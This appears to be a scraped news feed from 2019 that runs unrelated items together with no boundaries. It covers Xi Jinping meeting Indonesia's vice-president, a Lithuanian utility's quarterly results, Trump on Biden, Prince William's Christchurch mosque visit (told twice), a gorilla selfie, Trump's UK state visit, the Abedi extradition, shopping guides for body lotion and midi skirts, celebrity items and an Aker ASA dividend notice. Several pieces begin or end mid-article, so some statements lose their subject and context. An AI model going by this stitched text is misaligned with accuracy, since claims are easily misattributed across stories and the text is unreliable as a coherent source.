proposed the 21st Century Maritime Silk Road during my visit to Indonesia," Xi said, adding that the two countries have made new progress in bilateral relations and achieved remarkable results in cooperation in various fields over the past few years by taking the Belt and Road Initiative as an opportunity. Aligning the joint building of the Belt and Road and Indonesia's Global Maritime Axis is the overall framework of the bilateral cooperation in the new era, Xi said. Both sides should identify key areas and directions for cooperation as soon as possible, and implement key projects such as the Jakarta-Bandung High-Speed Railway, he said. "I have proposed to build a new model of international relations featuring mutual respect, fairness, justice and win-win cooperation, with an aim to give a Chinese solution to the problems in today's world," Xi said. That is in line with the "Ten Principles of Bandung Conference" jointly advocated by China and Indonesia 64 years ago, Xi said. The two sides should communicate and coordinate closely, jointly safeguard the legitimate rights and interests of developing countries, and build a community with a shared future for humanity, Xi said. Kalla said that Indonesia is an important partner in international cooperation under the Belt and Road Initiative, and is willing to strengthen exchanges and cooperation with China in trade, investment, education and other fields. Indonesia is willing to work with China to firmly uphold multilateralism, and jointly promote global and regional peace, stability and prosperity, Kalla said. 2 1 [ Editor: Zhang Zhou ] English Lithuanian The Board of AB Kauno Energija (hereinafter the Company) (code 235014830) assessed results of Companys business activity of the 1 quarter of the year 2019 and financial state as at 31 March 2019 and approved AB Kauno Energija consolidated and Companys non-audited results of the 1 quarter of the year 2019 on 25 April 2019. The result of Companys activities of the 1 quarter of the year 2019 according to the International Financial Reporting Standards is profit (before taxes) in amount of EUR 4,631 thousand (the profit of the 1 quarter of the year 2018 was EUR 8,386 thousand), turnover from sales is EUR 28,372 thousand (in the 1 quarter of the year 2018 it was EUR 32,670 thousand). The profit of the Group which consists of AB Kauno Energija and its subsidiaries UAB Kauno Energija NT (code 303042623) and UAB Petrasiunu katiline (code 304217723), amounts to EUR 5,086 thousand (before taxes) (the profit of the 1 quarter of the year 2018 amounts to EUR 8,579 thousand), turnover from sales amounts to EUR 28,366 thousand (turnover from sales of the 1 quarter of the year 2018 amounted to EUR 32,662 thousand). The rate of critical liquidity of the Company that makes comparison between short term assets without stocks and short term liabilities as at the end of reporting period (31 March 2019), increased from 1.54 to 2.36 during the period from the end of 2018 (the rate of the Group increased from 1.47 to 2.33). The EBITDA of the Company of the 1 quarter of the year 2019 is EUR 6,423 thousand (EBITDA of the 1 quarter of the year 2018 was EUR 10,226 thousand), and EBITDA of the Group is EUR 7,032 thousand (EBITDA of the 1 quarter of the year 2018 was EUR 10,582 thousand. Companys turnover from sales of the 1 quarter of the year 2019 decreased by 13.2 per cent in comparison with the same period of the year 2018 due to the 13 per cent less amount of heat sold and due to 3.4 per cent decreased average heat selling price. We hereby present an Interim Non-Audited Financial Statements of the 1 quarter of the year 2019 together with confirmation of responsible persons. Loreta Miliauskiene, Head of the Economics Department, tel. +370 37 305 855 Attachment D onald Trump has described Joe Biden as not the brightest light bulb after the Democrat veteran launched his 2020 White House campaign with an attack on the President. Mr Biden, 76, who was vice-president under Barack Obama, called Mr Trump a charlatan as he joined the crowded field of 20 candidates vying for the Democrat presidential nomination. His long-awaited announcement makes him the front-runner as the Democratic choice, with one survey putting him eight points ahead of Mr Trump. But the President told Fox News: Ive known Joe over the years. Hes not the brightest light bulb in the group, I dont think. Former Vice President and Democratic presidential candidate Joe Biden / AP He added: Hes a pretty sleepy guy. Hes not going to be able to deal with [Chinese president] Xi Jinping... hes not going to be able to do the job. Launching his campaign, Mr Biden said the 2020 election would be a battle for the soul of this nation. N ew Zealand has shown the world it will not be divided in the wake of the devastating Christchurch mosque shootings, Prince William has said. In a moving speech at the Masjid Al Noor in Christchurch, where 42 people lost their lives, the Duke of Cambridge hailed the example set by the country as it continues to come to terms with the tragedy. The duke said the terrorists act of violence was designed to change the face of New Zealand. He added: Im here to help you show the world that he failed. William, who was completing a two-day tour of the country to commemorate the victims of the attacks, said: Tragedy unfolded in this room...the act of violence was designed to change New Zealand, but instead the grief of the nation revealed just how deep your wells of empathy, compassion, warmth and love truly run. Prince William (left) and New Zealand Prime Minister Jacinda Ardern (centre) meet with members of the Muslim community at the Al Noor mosque in Christchurch / AFP/Getty Images The duke praise New Zealand Prime Minister Jacinda Ardern for her extraordinary leadership of compassion and resolve, saying she provided an example to us all. And he described the almost unthinkable wisdom and grace of Imam Gamal Fouda in the aftermath of the attack. Prince William alongside PM Jacinda Ardern / EPA William told the Imam: Your words in the days after the attack moved the world. Your reminder that the victims needed to be remembered both as Muslims and as New Zealanders showed that grief revealed you to be a man of great wisdom. You could not have been more right when you said that this country is unbreakable. William receives traditional greeting from NZ PM He continued: On the map, New Zealand may look like an isolated land. But on the weeks that followed March 15 the moral compass of the world was centred here in Christchurch. You showed the way we must respond to hate: with love. The dukes speech at Al Noor mosque comes after he enjoyed a heart-warming moment with a five-year-old victim of the attack after she woke from a coma. He was visiting Starship Childrens Hospital in Auckland, and he spent time at the bedside of Alen Alsati, who was critically injured during mosque shootings. Anzac Day 2019 - In pictures 1 /41 Anzac Day 2019 - In pictures The Duke of Cambridge walks with New Zealand Prime Minister Jacinda Ardern during an Anzac Day service at the Auckland War Memorial EPA The Duke of Cambridge meets five year old Alen Alsati and her father Wasseim, who are recovering in Starship Childrens Hospital in Auckland after being injured in the Christchurch mosques terrorist attack Kensington Palace Prince William greets New Zealand Prime Minister Jacinda Arden during the service Reuters The Duke of Cambridge laying a wreath at the Auckland Anzac Day Civic Service PA A member of the 324 Squadron pictured during the Anzac Day dawn service at Coogee Beach in Sydney EPA A soldier raises an Australian flag before a ceremony at Lone Pine, at Canakkale on the Gallipoli Peninsula AFP/Getty Images Australia's Chief of Defence Forces Angus Campbell visits the Lone Pine Australian memorial to attend a ceremony to mark the 104th anniversary of the World War One battle of Gallipoli, in the Gallipoli peninsula in Canakkale, Turkey REUTERS Gypsy O'dea (left), granddaughter of late Australian second world war veteran and former prisoner of war Neil Macpherson, is consoled by a member of Australia's Defense Forces at the Hellfire Pass section of the Thai-Burma railway, following the Anzac Day war memorial service at Hellfire Pass in Kanchanaburi province, Thailand EPA Soldiers march during the Anzac Day parade in Brisbane EPA Australian servicemen take part in Anzac Day ceremonies at the military cemetery of the Australian National Memorial in Villers-Bretonneux, northern France AFP/Getty Images Prince William attends an Anzac Day service in Auckland Reuters The Duke of Cambridge lays a wreath during an Anzac Day service at the Auckland War Memorial EPA Visitors from Australia and New Zealand attend a dawn ceremony marking the 104th anniversary of the World War One battle of Gallipoli, at Anzac Cove in the Gallipoli peninsula in Canakkale, Turkey Reuters People walk among gravestones after an Australian Memorial service at Lone Pine, at Canakkale on the Gallipoli Peninsula AFP/Getty Images Australia's Defence Force Chief Gen. Angus Campbell stands in attention during a ceremony at the Lone Pine Cemetery, in Gallipoli peninsula, Turkey, AP Visitors from Australia and New Zealand attend a dawn ceremony marking the 104th anniversary of the World War One battle of Gallipoli, at Anzac Cove in the Gallipoli peninsula in Canakkale, Turkey Reuters People visit the Lone Pine Cemetery in Gallipoli peninsula, Turkey AP Australian visitors attend a dawn ceremony marking the 104th anniversary of the World War One battle of Gallipoli, at Anzac Cove Reuters Australian visitors attend a dawn ceremony marking the 104th anniversary of the World War One battle of Gallipoli, at Anzac Cove Reuters Visitors from Australia and New Zealand attend a dawn ceremony at Anzac Cove Reuters Visitors from Australia and New Zealand wait at Anzac Cove to attend a dawn ceremony Reuters The Auckland Anzac Day Civic Service at Auckland War Memorial PA People participate in the Anzac Day march in Sydney, Australia EPA Soldiers march during the Anzac Day parade in Brisbane EPA People attend he Dawn Service ceremony at the Anzac Cove beach, the site of World War I landing of the Anzacs AP Participants take part in the Anzac Day parade in Sydney AFP/Getty Images A woman carries a photo of a veteran during a march celebrating Anzac Day in Sydney AP People attend the Anzac Day war memorial service at Hellfire Pass in Kanchanaburi province, Thailand EPA Visitors from Australia and New Zealand gather during a Dawn Service ceremony at Anzac Cove Beach, at Canakkale on the Gallipoli Peninsula AFP/Getty Images People attend the Australian Memorial Service at Lone Pine in commemoration of the Gallipoli War on Gallipoli Peninsula, Turkey EPA Australian soldiers take part in Anzac Day ceremonies at the military cemetery of the Australian National Memorial in Villers-Bretonneux, northern Franc AFP/Getty Images Alen was in a coma until earlier this month. When she awoke she was unable to see, speak or eat by herself but has been making small steps in her recovery. A Congolese park ranger has described how he captured a selfie with two gorillas that went viral. Mathieu Shamavu said he was checking his phone when he noticed two female orphaned gorillas mimicking his movements, so he took a picture with them. The gorillas look as if they're posing for the camera and when Shamavu posted the picture on social media on Saturday it quickly clocked up thousands of likes and comments. According to rangers at the Virunga National Park sanctuary in eastern Congo, the gorillas Ndakazi and Ndeze were orphaned 12 years ago when their families were killed by poachers. They were the first orphans to be cared for at the centre, which according to Virunga park's management, is the only place in the world dedicated to the care of orphaned mountain gorillas. As the gorillas arrive in the sanctuary at a young age, they learn from their caretakers, said Shamavu. "In terms of behaviour, they like to mimic everything that is happening (around them), everything we do," he said. He said the caretakers at Senkwekwe Mountain Gorilla Orphanage Center try to give the animals as much access as possible to their natural environment, but they inevitably exhibit "almost the same behavior as humans." Senkwekwe is named after one of the wild silverback gorillas that was killed in Virunga in 2007. The orphans need constant care, so the rangers live nearby and spend their days with them - feeding them, playing with them, keeping them company. "Gorilla caretakers with those gorilla orphans, we are the same family," said head caretaker Andre Bauma. He said without their own relatives nearby, the gorillas treat the rangers as their family. "They know we are their mum. They are a member of the family. We are their friends," said Bauma. Virunga is billed as Africa's most biodiverse national park, spanning tropical forests, snow-peaked mountains and active volcanoes. It is also one of the last bastions of wild mountain gorilla populations. Parks in the mountains of Congo, Rwanda and Uganda have the last remaining mountain gorillas in their natural habitat. F oreign Secretary Jeremy Hunt has said Donald Trump should be allowed to address Parliament during his controversial state visit to the UK in June. A formal address to Parliament is associated with this type of visit, but there had been reservations from some about the US President being able to do so on his visit. Mr Hunt has, however, backed calls for Mr Trump to be given the opportunity, claiming the most appropriate thing to do would be to give Mr Trump the best possible welcome. The announcement of Mr Trump's trip has sparked a row between Commons Speaker John Bercow and his House of Lords counterpart Lord Fowler. Mr Hunt said Mr Trump was our closest and most important ally / REUTERS Mr Bercow said in 2017 he was "strongly opposed" to granting the President the honour of a speech to MPs and peers in the historic Westminster Hall because of his controversial ban on migrants from certain Muslim countries. But Lord Fowler said he would have to discuss any request to speak with Mr Bercow, adding that there was "a strong case" for a speech by the President, particularly as his visit coincides with the 70th anniversary of D-Day. Asked at a Westminster lunch whether he would support an address to Parliament, Mr Hunt said: "Yes I would. "I think it is very important when you have a state visit by our closest and most important ally that we think about the office as much as the person. Donald Trump's meeting with Theresa May last year / Getty Images "I hope we make the best possible welcome for President Trump. He is a controversial politician, but in the end his visit is about more than Trump's policies, it is about the alliance between the United States and United Kingdom that goes back many, many years. "The appropriate thing to do is to show him the best possible welcome." The speakers of both Houses of Parliament have said that no request has yet been received for Mr Trump to speak in Westminster Hall. Downing Street says it has no control over the decision, which is a matter for Parliament. Mr Hunt's comments came as Liberal Democrat leader Sir Vince Cable revealed he has turned down an invitation to a state banquet with Mr Trump at Buckingham Palace. In a letter to Palace staff, Sir Vince said, "I have taken the view that as a party leader I should not support state visits where the government of the day has issued invitations inappropriately. "I did not accept an invitation to attend a state banquet with the King of Saudi Arabia for that reason. I hope and trust Her Majesty The Queen will understand that I decline this invitation out of no disrespect to her. I am of course hugely honoured to have been invited." The Lib Dem leader later said the UK should not be "rolling out the red carpet" for "a man who is on record as a misogynist and a racist". P lans by Libya to extradite the brother of the Manchester Arena suicide bomber to Britain have been put on hold while Tripoli remains under attack, the country's interior minister has said. Fathi Bashagha said a Libyan court had agreed to return 21-year-old Hashem Abedi - the younger brother of the bomber Salman Abedi - because he was a British citizen. However, with the Libyan capital now under attack from rebel forces led by military strongman Field Marshal Khalifa Haftar, he said the priority of the authorities was to defend themselves. "Now they are waiting. Now the war, everything is stopped. We have to wait until the conflict is finished," he said told the BBC. "All our attention we are paying is towards how to push back the Haftar militia attacking Tripoli. This is important for us." Emergency services at Manchester Arena / PA Wire/PA Images Abedi was arrested in Libya shortly after his brother blew himself up at a concert at the Manchester Arena in May 2017 killing 22 people He was made the subject of an extradition request by the British authorities in November of that year and Greater Manchester Police want to arrest him for murder, attempted murder and conspiracy to cause an explosion. The Libyan government had previously said they expected him to be returned before the end of last year, but that has yet to happen. Mr Bashagha strongly criticised the British Government for withdrawing its diplomats and special forces from the country in the face of the rebel advance on Tripoli. He said their actions undermined the relationship built up since 2011 when British and French air strikes precipitated the overthrow of Colonel Gaddafi. "We have had a very good relation after 2011 up to 2019. Now, within one week this relation is broken, damaged," he said. "We lose that trust and confidence. It is very difficult to rebuild it again in short time." He added: "If you withdraw, you give (the) clear to Haftar to kill us." P rince William today visited the Christchurch mosques where 50 people were killed in last months terror attack and made an impassioned plea for extremism to be defeated. Speaking on the final day of his two-day visit to New Zealand, the Duke of Cambridge hailed the example set by the country as it continues to come to terms with the tragedy. An act of violence was designed to change New Zealand, but instead the grief of a nation revealed just how deep your wells of empathy, compassion, warmth and love truly run, he said. On the map New Zealand might look like an isolated land, but in the weeks that followed 15 March the moral compass of the world was centred here in Christchurch you showed the way we must respond to hate with love. The duke was talking to members of the local Muslim community inside the Al Noor mosque, where 42 worshippers were killed during Friday prayers. Prince William with Christchurch Mayor Leanne Dalziel / REUTERS Praising the people of New Zealand, William said he was there to show the world that terrorism failed, adding: In a moment of acute pain you stood up and you stood together and in reaction to tragedy you achieved something remarkable. I stand with you in optimism, I stand with you in grief I will support those who survive. The forces of love will always prevail over the forces of hate. He also hinted at his own grief following the death of his mother Diana, saying: Ive had reason myself to reflect on grief, sudden pain and loss ... If you let it, it will reveal who you are. It will reveal depths you did not know you had. This is what happened here. An act of violence was designed to change New Zealand, but instead the grief of a nation revealed just how deep the values of warmth, compassion and love really run. William stressed: Extremism in all its forms must be defeated. The message from Christchurch and the message from Al Noor and Linwood mosques could not be more clear the global ideology of hate will fail to divide us. Among those to meet the duke were people who had lost loved ones, some who had helped save lives and others who were injured in the attack. Prince William (left) and New Zealand Prime Minister Jacinda Ardern (centre) meet with members of the Muslim community at the Al Noor mosque in Christchurch / AFP/Getty Images Madina Nabi, whose father Haji Dauod Nabi was killed, said the dukes visit had made us feel important. The fact that he came all the way here to just support us, its a very kind thing to do, she said. We really appreciate what hes done. Farid Ahmad, who was injured during the attack and lost his wife Husna Ahmad, said: Right now my heart is aching. Im feeling the pain. I lost my wife, I lost many people here. I would like to say to the victims, you are not alone. We share your pain and we are together. Your Royal Highness, you are an inspiration for the world, he added. Afterwards William visited the scene of the second attack at the Linwood mosque where he was greeted by Imam Abdul Alabi Lateef Zirullah and prime minister Jacinda Ardern. She said afterwards that the fact he had come to New Zealand at such short notice speaks volumes. He saw just how significant this was, the trauma it had created and wanted to be here to convey personally his condolences, she told reporters. Earlier William visited Christchurch Hospital to meet survivors of the terror attacks and staff who helped save lives in its aftermath. He concluded his visit by laying a wreath at the Oi Manawa Canterbury Earthquake National Memorial, which remembers those killed or injured in the 2011 earthquake. A Christchurch businessman faces up to 14 years in jail for sharing the livestream video of the attacks. Philip Arps, 44, pleaded guilty to sharing the footage. Prosecutors said Arps sent the video to an unknown person and instructed them to insert crosshairs and to include a kill count. He then forwarded it to 30 other people. In New Zealand it is illegal to view, possess or distribute the video. N o one likes having dry, flaky skin on display and one of the best ways to mitigate against this is through the daily use of body lotion. But with hundreds of options out there, how to choose which one is best? Enter: our body lotion guide. From rich body butters simply perfect for dry patches, to lightweight lotions which sink in instantly - and creams of the scented variety which double as sweet-smelling perfumes - our edit features the top products on sale right now, inclusive of every budget. For best results, gently exfoliate your skin before application. See our picks below... Garnier Ultimate Blends Honey Body Lotion Best for: bargain beauty If your skin needs some major hydration, look to Garnier Ultimate Blends Honey Body Lotion, specifically formulated for very dry skin. It counts super nourishing Royal Jelly, propolis (a kind of bee glue) and honey in its ingredients - but the formula isn't at all heavy. The creamy, non-greasy lotion actually sinks straight into the skin meaning there's no need to hang around waiting for it to dry. It's the best priced product for its volume on our list, giving you a whopping 400ml for less than three quid currently - total bargain. 2.95 | Superdrug | Buy it now *On sale from 5.99 RHS Tender Palm Hand & Body Lotion Best for: leaving in the guest bathroom Free from parabens and sulphates, and vegan-friendly to boot, the Royal Horticultural Societys Tender Palm collection looks as good as it smells. Within the elegantly designed bottle you'll find a lightly fragranced lotion with notes of fig, cognac and coconut. It includes botanical essential oils and shea butter to ensure your skin is left smooth and hydrated. 10 | Heathcote & Ivory | Buy it now Neutrogena Hydro Boost Express Hydrating Spray Best for: H2O super boost Neutrogena Hydro Boost Express Hydrating Spray is designed for use straight after a shower to lock in moisture as quickly as possible. Powered by hyaluronic acid, it cleverly maintains your skin's hydration levels by releasing moisture as and when it's needed, and can hold up to 1000x its weight in water. It's part of a wider range that includes products for the hands and face, to ensure you're properly moisturised from head to toe. 4.12 | Boots | Buy it now Byredo Rose of No Man's Land Body Lotion Best for: showing off on the gram Inspired by the bravery of First World War nurses on the front line, Byredo's Rose of No Mans Land soothing body lotion and body balm envelopes your skin in a luxuriously soft formula which is gently scented with notes of pink pepper, raspberry blossom, Turkish rose petals and white amber. Comes in a generous 225ml bottle. 44 | Selfridges | Buy it now Nivea Body Mousse Moisturiser Wild Raspberry & White Tea Best for: non-greasy formula It's been around since 1882 and continues to give us new and ingenious ways to care for our skin. One of Nivea's most recent launches is this light, creamy body mousse infused with Nivea's deep moisture serum. Application is easy: simply shake, dispense a small amount into your palm and smooth over your skin. The mousse sinks in quickly, eliminating drying-off time and leaving skin supple, smooth and gently scented with raspberry and white tea. 3.99 | Boots | Buy it now Cowshed Gorgeous Cow Body Lotion Best for: slathering on post-bath Restore your skin's moisture levels with Cowshed's humorously-named lotion, which promises to leave you revived, balanced and smelling pretty fine, too. This is another scented formula, with richness added through the use of Madagascan rose and Indian palmorosa oils, as well as cocoa butter, vitamin E and pure essential oils. A little goes a long way, and with an oh-so pleasing bumper bottle size of 300ml, this lotion should see you through the summer. 21 | Cowshed | Buy it now Sanctuary Spa Light Moisture Spray Best for: handbag essential Perfect for when you don't have the time or the patience to rub in heavy cream, Sanctuary's ultra-light paraben-free mist will drench your skin with a nourishing blend of jojoba, sweet almond oil and vitamin E. The result? Glowing, super soft, healthy looking skin in a flash. Keep it in your bag or summer tote for great skin on the move. 6 | Boots | Buy it now Jo Malone London Nectarine Blossom & Honey Body and Hand Lotion Best for: scent layering As well as its iconic colognes, Jo Malone London also sells a selection of bath, body and skincare products perfumed with its bestselling scents. The Nectarine Blossom & Honey Body and Hand Lotion is ideal for summer hydration; warm, slightly floral and enriched with coconut oil which is well-known for its hydrating and conditioning qualities. Layer your lotion with the matching cologne for a gentle fragrance that will last all day long. 40 | John Lewis | Buy it now Versace Eros Pour Femme Body Lotion Best for: indulgence Feeling fancy? Make Versace's Eros body lotion your pay-day buy. The indulgent cream comes in an equally opulent bottle worthy of pride of place on your dressing table. The lotion carries a softer version of the brands Eros fragrance; think lemon and jasmine balanced with soft and sensual woods. Comes in 200ml. 36 | Selfridges | Buy it now Elizabeth Arden Eight Hour Skin Protectant Body Cream Best for: all-round skin saviour Elizabeth Arden's bestselling Eight Hour moisturiser is one that beauty editors routinely swear by, and with good reason. Initially created back in 1930 as a balm Miss Arden would use on her horses (yes, really), her first ever beauty product is so much more than a moisturiser: soothing, relieving, softening and smoothing skin all year round. Best used to soften those stubborn areas like elbows, heels and ankles. 15 | Debenhams | Buy it now Neutrogena Norwegian Formula Deep Moisture Sensitive Body Lotion Best for: sensitive and dry skin The next time you're doing your online grocery shop, add this white and blue skincare hero to your basket. Ideal for balancing dry and sensitive skin, the Daily Body Lotion loads you up with moisture after just a single application and whats more, keeps it going for 24 hours. Fragrance-free and made to reduce the risk of allergies, this non-greasy, fast-absorbing lotion is perfect for those who are after a fuss-free moisturiser. 3.33 | Tesco | Buy it now *On sale from 5 Sol de Janeiro Coco Cabana Cream Best for: long-lasting moisture From the makers of bestseller Brazilian Bum Bum cream comes this new product that beauty insiders and bloggers are raving about. Sol de Janeiros Coco Cabana Cream leaves skin velvety smooth for an incredible 72 hours thanks to the ultra-hydrating ingredients such as coconut oil, fruit oils, antioxidant-rich acai and nourishing cupuacu butter. It is on the pricier side at 18 for just 75ml, so we recommend using as a treat or for special occasions, rather than as part of your daily skincare routine. 18 | Cult Beauty | Buy it now Clinique Deep Comfort Body Lotion Best for: every day luxury Clinique's rich body lotion comes with a pump, so there's no danger of accidentally overusing any of what's inside. Great for all skin types, the light lotion transforms ashy, flaky skin, delivering a moisture boost that lasts long into the day. It's as useful for replenishing skin's moisture levels after a day spent in the sun as it is for smoothing on after an evening bath in wintertime. Top tip: store in your fridge for instant, cooling comfort over the summer months. 32 | Clinique | Buy it now Verdict W hen it comes to wardrobe staples, the midi skirt is still something of a newcomer. What started as a mini trend a few years back has now graduated to an essential, steadily becoming a sartorial saviour and something we can reach for 365 days a year. And Its no wonder, theyre comfortable, versatile and far less restrictive than a pencil skirt. Not only that, the ultra-feminine, waist-defining silhouette is also incredibly flattering. Whats more, you can get your hands on one without spending a fortune. Where, then, should we be heading to find new-season styles? One quick look through some of our favourite high street retailers new-in sections think Arket, & Other Stories and Topshop - and weve seen virtually every spring/summer 2019 trend in midi skirt form. Should you be looking for something luxe, you wont be short of choice either, as Rixo, Nanushka and Ganni have covetable styles in abundance. From directional zebra prints to checks, minimalist pleats to belted A-Line shapes theres just so much choice, wed happily wear them all. Scroll below to shop our favourites. ASOS Design Gingham Midi Skirt Nothing signals spring like a picnic-inspired gingham print. Style this button-front, side pocket skirt with a simple crew neck knit and trainers. 32 | ASOS | Buy it now Arket Pleated Crepe Skirt If youre not into prints, try Arket. This minimalist pleated skirt is best worn with a tonal knit, heels and accessories. Finish the look with fine gold jewellery and tortoiseshell sunglasses. 69 | Arket | Buy it now & Other Stories Satin Coffee Bean Skirt When it comes to prints, well always turn to polka-dots and this & Other Stories beige iteration feels like a fresh way to wear the trend. Were styling ours with white western-inspired ankle boots, a basic tee and a silky printed neck scarf. 59 | & Other Stories | Buy it now UO Floral Tie-Side Skirt Whats better than a ditsy floral midi? One that comes complete with a matching top. For cute co-ords that wont blow the entire new-season budget, head straight for Urban Outfitters. 46 | Urban Outfitters | Buy it now Anine Bing Bar Silk Skirt Silky skirts are here to stay and while we will always love a standout print, sometimes nothing beats a chic black iteration. Style yours with chunky knits, tees or under a boxy blazer with a camisole and heels this is worth every penny. 195 | Anine Bing | Buy it now Stine Goya Lilly Silk-Crepe Skirt For mood-boosting prints, head straight for Stine Goya. The Copenhagen-based label is still one of the hottest brands to be seen in right now, and we think this is one of the chicest pieces from the new collection. & Other Stories Zebra Midi If you havent yet dared to try the zebra print trend, nows the time. The key to getting this look right? Keep the rest simple. Were styling ours with white tees, beige knits and neutral blazers. 59 | & Other Stories | Buy it now Rixo Giorgia Blue Tiger Skirt Theres just something so appealing about Rixos luxe silk separates and this soft pleat midi in springs must-have tiger print is no different. The double side split detail makes this perfect for evenings, but we think thisll look just as stylish with a tee and trainers during the day. 215 | Rixo | Buy it now Kitri Livinia Pleated Skirt Kitri is the destination for well-cut separates with affordable price tags, and the latest drop includes this print clash midi thats perfect for wearing with knitwear during the tricky transitional weather were faced with right now. 85 | Kitri | Buy it now Free People Bias-Cut Satin Midi If youre in the market for some powdery spring pastels, consider investing in this silky midi from Free People. For day, keep it simple and pair with a cotton tee. For occasions, this is best worn with a silky top and barely-there sandals. 70 | Harvey Nichols | Buy it now Nanushka Alma Denim Skirt Take a break from your hero jeans and slip into a denim midi skirt instead. Nanushkas Alma style is particularly flattering on, thanks to the belted waist, and would look effortlessly chic with flat sandals and square neck top. Ganni Blakely Silk Leopard Print Skirt Still our go-to for directional separates, Ganni has tempted us with one more way to style out the leopard print trend. Were wearing this with a fine camel sweater and low-heel ankle boots now, and later, with flat strappy sandals. 320 | Browns | Buy it now Ghost Jodie Skirt Best known for those swishy sun dresses that have no doubt been all over your Instagram feed, Ghost is also well worth a look for midi skirts too. Style this ditsy print midi solo with knitwear, or team with the co-ordinating top and heels. 59 | Ghost | Buy it now Topshop Check Wrap Midi Skirt Another season, another impossibly cool midi from Topshop. Not only is this ideal if youre looking to avoid florals, but you can snap it up for less than 50. 45 | Topshop | Buy it now Les Reveries Silk-Crepe Midi Skirt This is the brand everyone is talking about right now and its easy to see why. Trust us on this, the beautiful Les Reveries pieces, including this silk-crepe midi skirt, are well worth the investment 400 | Selfridges | Buy it now Loup Charmant Ruffle Trim Midi Skirt Not big into simplistic silhouettes? Embrace something bolder and swap silky slip skirts for something with a ruffle. Preferably in this cheery lemon shade. Finish with a grey knit and white boots. 255 | Matches Fashion | Buy it now Zara Knitted Skirt Stuck for what to wear on the weekend? Try this knitted midi skirt from Zara, complete with elasticated waistband, and team with the matching button-detail top and flats. 25.99 | Zara | Buy it now Zara Polka Dot Pleated Skirt If in doubt, stick to monochrome polka dots. For work, try pairing this purse-friendly option with a white button front shirt, then, for evening, swap your shirt for a balloon-sleeved blouse and a chunky gold chain necklace. 49.99 | Zara | Buy it now Uterque Skirt With Side Splits Its not all about statement-making prints this season, for low-key dressers looking to avoid too much print, this sleek white midi ticks all the right boxes. 99 | Uterque | Buy it now H&M Pleated Wrapover Skirt We can always rely on H&M for premium looking pieces, without the premium price tag. For proof, slip into this excellent checked skirt. We love the pleats, wrap-shape and the contrasting black bow fastening. Mango Polka-Dot Print Skirt One more way to wear the print of the moment, try teaming Mangos spot skirt with the matching button-front blouse and low-heel tan mules. So chic. 29.99 | Mango | Buy it now Next Satin Midi Skirt If youre bored of black, try something khaki. Nexts satin skirt works as well with knitwear and blazers now as it will with sleeveless tops in summer, all for just 30. 30 | Next | Buy it now M&S Button Detail Skirt Any expert shopper will well know that M&S serves up a handful of key buys each season, most of which end up selling out at lightening speed. We believe this white button-front midi is one of them. Miss Selfridge Burgundy Check Midi Checks are trending. Should you be looking for something subtle to dip into the trend, try this burgundy straight cut skirt from Miss Selfridge. 35 | Miss Selfridge | Buy it now Rejina Pyo High-Waist Wrap Midi In case you missed it, grown-up cinched waists are big news, and the easiest and chicest way to get in on the trend? This wrap-style skirt from Rejina Pyo. 375 | Farfetch | Buy it now Self-Portrait Asymmetric Satin-Jacquard Skirt C harlize Theron hit out at a French television presenter after he kissed her female interpreter without permission during an awkward interview. The Hollywood star, 43, looked shocked when Cyril Hanouna, 44, approached the interpreter, known as Nadia, and kissed her on the cheek. Theron quickly snapped: "Wow, maybe ask next time?" Her Long Shot co-star Seth Rogen, who was also appearing for the interview, agreed with a simple "yes". 'Maybe ask next time?' (CEN C8) The pair, who have been promoting the new film, were on a show in France. Theron was hailed a hero by people online after the move. One woman wrote: "Being an interpreter and a woman, I really appreciate what Charlize Theron (@CharlizeAfrica) said when the TV host kissed her interpreter out of the blue." Theron made headlines when she announced earlier this month that she was raising her first child as a girl after first introducing her to the world as a boy. Host Graham Norton with (seated left to right) Charlize Theron, Seth Rogen, Zac Efron, Matthew Broderick, Terry Hall, Lynval, and Horace from The Specials PA Images on behalf of So TV The Annual General Meeting of Aker ASA (the "Company") was held on Friday 26 April 2019 at Fornebuporten, Oksenyveien 10, Norway. All proposals on the agenda were adopted, cf. the notice of the Annual General Meeting that was published on Oslo Stock Exchange on 4 April 2019. It was resolved to distribute a dividend of NOK 22.50 per share for 2018. The dividend is payable to shareholders holding shares in the Company as per 26 April 2019. The share will be traded ex-dividend on Oslo Stock Exchange from and including 29 April 2019. The dividend will be paid on or about 8 May 2019. The complete minutes of the Annual General Meeting are attached to this release and are also available on www.akerasa.com. ENDS For further information, please contact: Investors: Per Kristian Reppe, Investment Manager & Head of Investor Relations Phone: +47 24 13 00 67 Mobile: +47 900 33 203 Media: Atle Kigen, Head of Corporate Communications Phone: +47 24 13 00 08 Mobile: +47 907 84 878 This information is subject to the disclosure requirements pursuant to section 5-12 of the Norwegian Securities Trading Act. Attachments R ichard Bacon shaved his stubble live on air after revealing the Good Morning Britain editor threatened him with his P45. The stand-in host, who sat alongside Kate Garraway on Friday, was forced to use an electric shaver at the beginning of the show after it was revealed he had defied the wishes of the programmes editor. He came on holding a P45, Bacon explained after Charlotte Hawkins told fans the editor had been on set with shaving foam in hand. I can tell you that is the first time an editor has given me a P45 on screen. Orders: Richard Bacon decided to shave his stubble after being handed his P45 / ITV Admitting that he would like to come back one day to the popular ITV breakfast show, Bacon took the electric shaver from Garraway and got to work while she filmed him close-up on a GoPro. But Bacon soon had to give up attacking the silver stubble as the razor wasnt very sharp, instead opting to shave when they cut to the news. Hosts: Richard Bacon with Kate Garraway and Charlotte Hawkins (Ken McKay/ITV/Rex) / Ken McKay/ITV/REX Around 20 minutes later, Bacon was back to being silky smooth as Hawkins read out a series of comments from viewers about his facial hair. I just think I look like a kids TV presenter with grey hair, sighed a fresh-faced Bacon. I was one once briefly On Thursday, Bacon made his show debut and opened up about his grave illness last year, explaining what happened to Susanna Reid. Richard Bacon says Piers Morgan called his wife while he was in a coma The presenter was put in a medically-induced coma for nine days last July, having contracted a double lung infection. The illness was thought to have been exacerbated by a flight from the US to the UK. Bacon said that the illness gave him a new perspective as he saw the best in people. When you come that close to death, you also get to see the best side of people, he said. Not just the NHS that saved my life but also friends. He revealed that Piers Morgan, the regular GMB host, had called his wife to check in on his condition, an action he hailed very thoughtful. The American actor, who shot to fame for his leading role as Troy Bolton in High School Musical, admitted he was concerned taking on the role of a killer would look like a desperate attempt at abandoning his teen heart-throb image. However, Efron decided to go ahead with portraying the character after finding the opportunity to delve into the mind of a violent mass murder intriguing. Speaking on the Graham Norton Show, Efron said: "I was very hesitant to do it, but I knew I could. I just didn't want to jump at something that could be seen as a desperate shot at trying to change my image. Concerns: Efron opened up on his fears over the role / PA Images on behalf of So TV "It was a unique experience and not what anyone expects. It makes me proud. I had a lot of reservations about playing a killer and in this genre of film. "I wasn't interested in glorifying anything, but I was interested in the psychological aspect of whether he was capable of real love." Teen heart-throb: 